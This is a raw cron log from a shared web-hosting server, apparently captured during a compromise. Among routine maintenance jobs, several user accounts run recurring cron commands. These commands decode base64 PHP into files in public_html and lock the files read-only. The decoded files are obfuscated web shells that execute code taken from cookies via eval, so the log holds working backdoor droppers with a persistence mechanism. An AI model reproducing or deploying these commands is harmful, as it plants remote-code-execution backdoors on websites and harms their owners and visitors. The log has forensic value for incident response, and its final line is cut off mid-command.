Mar  2 08:50:02 medusa CROND[22840]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:50:02 medusa CROND[22844]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:50:02 medusa CROND[22847]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:50:02 medusa CROND[22848]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:50:02 medusa CROND[22850]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:50:02 medusa CROND[22849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:50:02 medusa CROND[22843]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 08:50:02 medusa CROND[22853]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 08:50:02 medusa CROND[22857]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:50:02 medusa CROND[22851]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:50:02 medusa CROND[22852]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:50:02 medusa CROND[22873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:50:02 medusa CROND[22877]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:50:02 medusa CROND[22872]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 08:50:02 medusa CROND[22870]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 08:50:02 medusa CROND[22842]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 08:50:02 medusa CROND[22871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:50:02 medusa CROND[22845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 08:51:01 medusa CROND[11163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:51:02 medusa CROND[11382]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:51:02 medusa CROND[11383]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:51:02 medusa CROND[11384]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:51:02 medusa CROND[11386]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:51:02 medusa CROND[11387]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:51:02 medusa CROND[11395]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:51:02 medusa CROND[11397]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:51:02 medusa CROND[11401]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:51:02 medusa CROND[11404]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:51:02 medusa CROND[11408]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:51:02 medusa CROND[11409]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:51:02 medusa CROND[11410]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:51:02 medusa CROND[11411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:51:02 medusa CROND[11412]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:52:01 medusa CROND[28365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:52:01 medusa CROND[28369]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:52:01 medusa CROND[28370]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:52:01 medusa CROND[28371]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:52:01 medusa CROND[28372]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:52:01 medusa CROND[28378]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:52:01 medusa CROND[28379]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:52:01 medusa CROND[28380]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:52:01 medusa CROND[28382]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 